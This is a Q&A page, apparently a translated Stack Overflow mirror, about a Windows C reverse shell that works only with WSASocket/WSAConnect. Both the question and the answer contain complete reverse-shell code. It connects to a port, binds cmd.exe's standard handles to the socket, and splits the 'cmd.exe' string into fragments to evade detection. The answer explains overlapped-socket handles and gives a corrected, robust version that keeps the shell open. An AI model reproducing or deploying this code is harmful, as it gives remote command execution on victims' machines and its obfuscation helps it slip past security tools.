Почему работает WSAConnect и connect ();не? - PullRequest
1 голос
/ 07 октября 2019

Я экспериментирую с некоторым обратным кодом оболочки на C. Он работает, но только если я использую WSAConnect() и WSASocket(). Если я использую socket() или connect() вместо этого, это не работает. Почему это так?

Я всегда использую connect() вместо WSAConnect() и socket() вместо WSASocket(). Я знаю, что что-то упустил.

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsa;
SOCKET sock;
struct sockaddr_in server;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;


int main(int argc, char *argv[]) 
{
    WSAStartup(MAKEWORD(2,2), &wsa);
    // sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); This also doesn't work
    sock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);


    server.sin_family = AF_INET;
    server.sin_port = htons(4942);
    server.sin_addr.s_addr =inet_addr("127.0.0.1");

    // connect(sock, (struct sockaddr*)&server, sizeof(server)); This doesn't work
    WSAConnect(sock,(SOCKADDR*)&server, sizeof(server),NULL,NULL,NULL,NULL);
    if (WSAGetLastError() == 0) {

        memset(&sinfo, 0, sizeof(sinfo));

        sinfo.cb=sizeof(sinfo);
        sinfo.dwFlags=STARTF_USESTDHANDLES;
        sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf( command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
        exit(0);
    } else {
        exit(0);
    }    
}

1 Ответ

2 голосов
/ 08 октября 2019

Существуют некоторые различия между socket() и WSASocket(). В частности:

  • по умолчанию, socket() создает SOCKET, который поддерживает перекрывающийся ввод-вывод, тогда как WSASocket() позволяет вам указать, хотите ли вы, чтобы SOCKET поддерживалПерекрытый ввод-вывод или нет. Другими словами, по умолчанию socket() соответствует вызову WSASocket() с флагом WSA_FLAG_OVERLAPPED. Но для перенаправления CreateProcess() I / O требуется HANDLE s, которые не перекрываются. Вот почему использование socket() не работает.

  • WSASocket() позволяет создавать сокеты с использованием определенного поставщика, тогда как socket() использует поставщика по умолчанию (обычноMicrosoft 'ы). При использовании SOCKET напрямую для перенаправления ввода / вывода CreateProcess() необходимо убедиться, что провайдер SOCKET действительно поддерживает это использование. Чтобы убедиться в этом, вы должны использовать WSAEnumProtocols() для перечисления установленных протоколов, пока не найдете тот, который поддерживает TCP и имеет флаг XP1_IFS_HANDLES (поставщик Microsoft), а затем вы можете WSASocket() использовать этого конкретного поставщика через его *Параметр 1029 *.

Каждый пример, который я могу найти в Интернете для использования SOCKET для прямого перенаправления CreateProcess() В / В, использует WSASocket() (но не всегда WSAEnumProtocols()). Я не видел ни одного примера использования socket().

Однако, если вы действительно хотите использовать socket(), у вас есть 2 варианта:

  • use setsockopt(SOL_SOCKET, SO_OPENTYPE) чтобы отключить создание перекрывающихся сокетов, указав тип SO_SYNCHRONOUS_NONALERT. Microsoft не рекомендует эту опцию, предпочитая вместо этого использовать WSASocket().

  • использовать вместо CreatePipe() для фактического перенаправления ввода / вывода, а затем вручную передавать данные между сокетом и каналом кактребуется чтение из SOCKET для записи в канал и чтение из канала для записи в SOCKET.

Тем не менее, ваш код не выполняет проверку ошибок правильно,Кроме того, если вы действительно смогли подключиться к серверу и запустить cmd.exe, вы сразу же выходите из приложения, которое закрывает сокет. Вы должны держать сокет открытым в течение всего времени жизни cmd.exe процесса.

Вместо этого попробуйте что-то вроде этого:

#include <winsock2.h>
#include <stdio.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

int main(int argc, char *argv[]) 
{
    WSADATA wsa;
    SOCKET sock;
    struct sockaddr_in server;
    STARTUPINFO sinfo;
    PROCESS_INFORMATION pinfo;

    int res = WSAStartup(MAKEWORD(2,2), &wsa);
    if (res != 0)
    {
        fprintf(stderr, "Can't initialize Winsock. Error %d\n", res);
        return 1;
    }

    // optional: use WSAEnumProtocols() to find a suitable WSAPROTOCOL_INFO
    // to pass to the lpProtocolInfo parameter of WSASocket()...

    sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    if (sock == INVALID_SOCKET)
    {
        res = WSAGetLastError();
        fprintf(stderr, "Can't create socket. Error %d\n", res);
        WSACleanup();
        return 1;
    }

    memset(&server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_port = htons(4942);
    server.sin_addr.s_addr = inet_addr("127.0.0.1");

    res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
    if (res == SOCKET_ERROR)
    {
        res = WSAGetLastError();
        fprintf(stderr, "Can't connect. Error %d\n", res);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    memset(&sinfo, 0, sizeof(sinfo));
    sinfo.cb = sizeof(sinfo);
    sinfo.dwFlags = STARTF_USESTDHANDLES;
    sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)sock;

    char *myArray[4] = { "cm", "d.e", "x", "e" };
    char command[8] = "";
    snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);

    if (!CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo))
    {
        res = GetLastError();
        fprintf(stderr, "Can't create process. Error %d\n", res);
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    CloseHandle(pinfo.hThread);
    WaitForSingleObject(pinfo.hProcess, INFINITE);
    CloseHandle(pinfo.hProcess);

    closesocket(sock);
    WSACleanup();

    return 0;
}
...